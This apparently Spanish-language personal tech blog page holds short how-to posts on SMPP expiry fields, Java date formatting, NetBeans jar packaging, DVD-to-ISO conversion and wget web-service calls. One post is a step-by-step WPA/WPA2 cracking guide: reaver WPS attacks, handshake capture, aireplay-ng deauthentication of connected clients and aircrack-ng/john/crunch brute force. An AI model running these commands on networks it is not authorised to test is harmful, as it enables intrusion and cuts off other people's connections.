jueves, 16 de mayo de 2013

[SMPP] Tiempo de expiración de los mensajes

Tiempo de expiración Relativo

Consta del tiempo de expiración que tiene el mensaje una vez que llega al SMSC.
Se descompone de "YYMMDDHHMISS000R" donde:
  • YY = Años
  • MM = Meses
  • DD = Días
  • HH = Horas
  • MI = Minutos
  • SS = Segundos
  • 000R = Se dejan estos campos en "0" y con una "R" al final para indicar que es expiración relativa a la llegada del mensaje al SMSC.

Ejemplos

  • 020610233429000R = 2 años, 6 meses, 10 días, 23 horas, 34 minutos, 29 segundos a partir de la hora del SMSC.
  • 000000000100000R = 1 minuto a partir de la hora de la llegada al SMSC.
  • 000000010000000R = 1 hora a partir de la hora de la llegada al SMSC. 


Para obtener un poco más de información pueden visitar este enlace. Es un foro en inglés que habla sobre este tema.

[JAVA] Como dar formato a las fechas en java

Para utilizar el SimpleDateFormat en java, se crea un nuevo objeto de este tipo con esta sintaxis:
 
 import java.text.SimpleDateFormat;  
 SimpleDateFormat sdf = new SimpleDateFormat(variable_string_con_el_formato);  

De manera que después cualquier objeto Date se puede parsear a formato String y viceversa. 
 
Ejemplos: 
 
Declarar el objeto simple format para el formato de fecha DD-MM-YYYY:
 
 SimpleDateFormat sdf = new SimpleDateFormat("dd-MM-yyyy");  

Convertir la fecha actual a este formato en String:

 SimpleDateFormat sdf = new SimpleDateFormat("dd-MM-yyyy");  
 Date fechaActual = new Date();  
 String fechaConFormato = sdf.format(fechaActual);  

Convertir un campo de tipo String a formato Date: 
 
 import java.text.ParseException;  
 import java.text.SimpleDateFormat;  
 import java.util.Date;  
 SimpleDateFormat sdf = new SimpleDateFormat("dd-MM-yyyy");  
 try{  
   Date nuevaFecha = sdf.parse("01-11-1987");  
 }catch(ParseException pe){  
 }  

Posibles formatos de fecha aceptados por el objeto:

Letter Date or Time Component Presentation Examples
G Era designator Text AD
y12px Year Year 1996; 96
M Month in year Month July; Jul; 07
w Week in year Number 27
W Week in month Number 2
D Day in year Number 189
d Day in month Number 10
F Day of week in month Number 2
E Day in week Text Tuesday; Tue
a Am/pm marker Text PM
H Hour in day (0-23) Number 0
k Hour in day (1-24) Number 24
K Hour in am/pm (0-11) Number 0
h Hour in am/pm (1-12) Number 12
m Minute in hour Number 30
s Second in minute Number 55
S Millisecond Number 978
z Time zone General time zone Pacific Standard Time PST GMT-08:00
Z Time zone RFC 822 time zone -0800

Recuperado el 20-Set-2011 de http://download.oracle.com/javase/1.4.2/docs/api/java/text/SimpleDateFormat.html

miércoles, 15 de mayo de 2013

[LINUX] Crackear una WPA/WPA2 con airodump, aireplay, aircrack y una lista de palabras

ACTUALIZADO 2016-12-15 Esta entrada, se hace únicamente con propósitos meramente académicos sobre como acceder a una red inalambrica, cualquier uso delictivo que se le de a esta información, está fuera de mi responsabilidad.
 
Primero debemos habilitar el monitoreo en la interfaz de red inalámbrica. 
Para habilitar este monitoreo debemos ejecutar el comando airmon-ng, es importante que cuando se utilice este monitoreo no exista en ejecución ningún proceso que utilice la red inalambrica, de lo contrario se va a retrasar o no va a funcionar bien el monitoreo. Dejo un comando para matar cualquier proceso que utilice la interfáz de red inalambrica y el de iniciar el monitoreo.
Matar cualquier proceso (A veces se debe ejecutar varias veces):
airmon-ng check kill

Iniciar el modo de monitoreo:
airmon-ng start <NOMBRE_INTERFAZ>
Ejemplo: airmon-ng start wlan0

Una vez se tenga este monitoreo que por lo general se le asigna el nombre mon0 o wlan0mon, se pueden hacer dos formas de hackeo, la más sencilla es con reaver, pero funciona solo si el router o access point tiene la opción WPS activada. De lo contrario podemos ejecutar el airodump-ng para capturar paquetes e intentar capturar un handshake (saludo cuando se conecta un usuario a la red).
Para hackear una red con WPS activo (forma más simple), debemos utilizar reaver con los siguientes parámetros (el parámetro -K es solo si tenemos instalada la versión de reaver modificada que permite un hackeo utilizando pixie dust, que es un método que no siempre funciona pero que agiliza el proceso de hackeo, y permite dar con el pin de WPS en unos minutos):
reaver -i <NOMBRE_INTERFAZ> -b <MAC_ACCESS_POINT> -c <CANAL> [-K 1]
Ejemplos: 
reaver -i wlan0mon -b 00:11:22:33:44:55 -c 11 -K 1 #Dura menos pero requiere versión modificada de reaver
reaver -i wlan0mon -b 00:11:22:33:44:55 -c 11

 airodump-ng -w prefijo_captura --bssid <MAC_ACCESS_POINT> -c <CHANNEL> <INTERFAZ_MONITOREO>  
Ejemplo: airodump-ng -w captura --bssid 00:11:22:33:44:55 -c 11 wlan0mon

Una vez tengamos esto debemos esperar a que se realice algún handshake (puede darse en una conexión exitosa) que el airodump pueda capturar (requiere que existan clientes en el access point), para esto podemos forzar una desconexión de alguno de los clientes conectados para que este tenga que volver a realizar un handshake y poder capturarlo (Es necesario que el comando anterior esté en ejecución al momento de hacer este otro comando): 
 aireplay-ng --deauth <INTENTOS> -a <MAC_ACCESS_POINT> -c <MAC_CLIENTE> <INTERFAZ_MONITOREO>  
Ejemplo: aireplay-ng --deauth 999 -a 00:11:22:33:44:55 -c 55:44:33:22:11:00 wlan0mon

Una vez exita aparezca en el airodump el handshake registrado, se procede a utilizar el aircrack para intentar descifrar el password utilizando una lista de palabras o la fuerza bruta: 
 aircrack-ng <ARCHIVO_DE_CAPTURA> -w <ARCHIVO_DE_PALABRAS> -l <ARCHIVO_ALMACENA_PASSWORD>
 <ARCHIVO_DE_CAPTURA> = Por lo general se llama capture-01.cap, siendo 01 el consecutivo de cuantas veces se haya realizado capturas.  
Ejemplo: aircrack-ng captura-01.cap -w lista_palabras.txt -l contraseña_lista.txt

Tambien se puede utilizar alguna utilidad como john o hashcat o crunch para generar contrasenas por fuerza bruta (modo maś lento pero seguro requiere de una computadora con buen procesador para que dure menos tiempo, pero siempre puede durar días enteros)(para revisar cuales modos tienen instalados de john pueden hacer un "ls -l /usr/share/john/*.chr"):
 john --incremental=<MODE> --stdout=<LARGO> | aircrack-ng -a [WEP=1|WPA=2] -b <MAC_ACCESS_POINT> -w - <ARCHIVO_DE_CAPTURA>  
Ejemplo: john --incremental=digits --stdout=12 | aircrack-ng -a 2 -b 00:11:22:33:44:55 -w - captura-01.cap

crunch <LARGO_MIN> <LARGO_MAX> <CARACTERES_A_PROBAR> | <COMANDO_DE_AIRCRACK>
Ejemplo: crunch 8 8 abcdefghijklmnñopqrstuvwxyz\ \-0123456789 | aircrack-ng -a 2 -b 00:11:22:33:44:55 -w - captura-01.cap -l contraseña_lista.txt

[JAVA] Empaquetar aplicaciones y sus librerias en un solo jar con NetBeans

Por lo general cuando queremos empaquetar aplicaciones con NetBeans, cuando hacemos un Clean and Build se genera un jar con sus respectivas librerias fuera del jar. 

Si queremos que estas librerias se empaqueten también y generar un solo jar, solo se debe agregar el siguiente código al final del archivo build.xml antes del tag de cierre "</project>":

 <target name="package-for-store" depends="jar">  
     <!-- Cambien el valor de esta propiedad para dar el nombre al JAR,  
        sin la extensión .jar. No debe tener espacios.  
        <property name="store.jar.name" value="NombreDelJar"/>  
     -->  
     <property name="store.jar.name" value="NombreDelJar"/>  
     <!-- No editar nada después de esta línea -->  
     <property name="store.dir" value="store"/>  
     <property name="store.jar" value="${store.dir}/${store.jar.name}.jar"/>  
     <echo message="Packaging ${application.title} into a single JAR at ${store.jar}"/>  
     <delete dir="${store.dir}"/>  
     <mkdir dir="${store.dir}"/>  
     <jar destfile="${store.dir}/temp_final.jar" filesetmanifest="skip">  
       <zipgroupfileset dir="dist" includes="*.jar"/>  
       <zipgroupfileset dir="dist/lib" includes="*.jar"/>  
       <manifest>  
         <attribute name="Main-Class" value="${main.class}"/>  
       </manifest>  
     </jar>  
     <zip destfile="${store.jar}">  
       <zipfileset src="${store.dir}/temp_final.jar"  
       excludes="META-INF/*.SF, META-INF/*.DSA, META-INF/*.RSA"/>  
     </zip>  
     <delete file="${store.dir}/temp_final.jar"/>  
   </target>  

Después de esto, le damos Clean and Build, al proyecto y seguidamente, en el tab de Files, en NetBeans, le damos clic derecho al build.xml, y le damos clic a Run Target -> Other Targets -> package_for_store.

Una vez termine de empaquetar tendremos el jar deseado, en la carpeta "store" dentro de la carpeta del proyecto.

[LINUX] Convertir una carpeta con estructura DVD (VIDEO TS) a una imagen de tipo ISO

Para poder convertir una carpeta de DVD a una imagen ISO, lo único que se necesita es tener instalada la aplicación "mkisofs", y a continuación ejecutarla con los siguientes parámetros desde una terminal: 

 mkisofs -dvd-video -o "/ruta/donde/crea/el/iso/nombre de la imagen.iso" "/ruta/donde/se/encuentra/la/carpeta/dvd/"   

Con esto se convertirá la esta carpeta en una imagen iso, funcional en cualquier reproductor de DVD.

[LINUX] Como consumir un Web Service con WGET

Para consumir un Web Service con wget solo se aplica la siguiente sintaxis:

 wget "http://url_of_my_web_service?param1=123&param2=abc" --post-file="parametros_a_consultar.xml" --header="Content-Type:text/xml"  

Donde --post-file="xmlTestFile.xml" debe estar en la ruta en donde se está ejecutando el wget o especificar la ruta del mismo, este xml contiene los parámetros que va a consumir el Web Service en caso de que esté definido así. Si el Web Service no necesita de parámetros un xml, entonces solamente se aplican los parámetros del url como en el ejemplo y se omite el --post-file y el --header no sería xml. 

Para escribir la salida de la respuesta del Web Service, se le agrega a la sentencia --output-document="resultado.xml" que va a generar el xml de salida del Web Service 

También en caso de que no se quiera enviar el archivo xml como parámetros del web service se puede cambiar --post-file por --post-data="string de parámtros"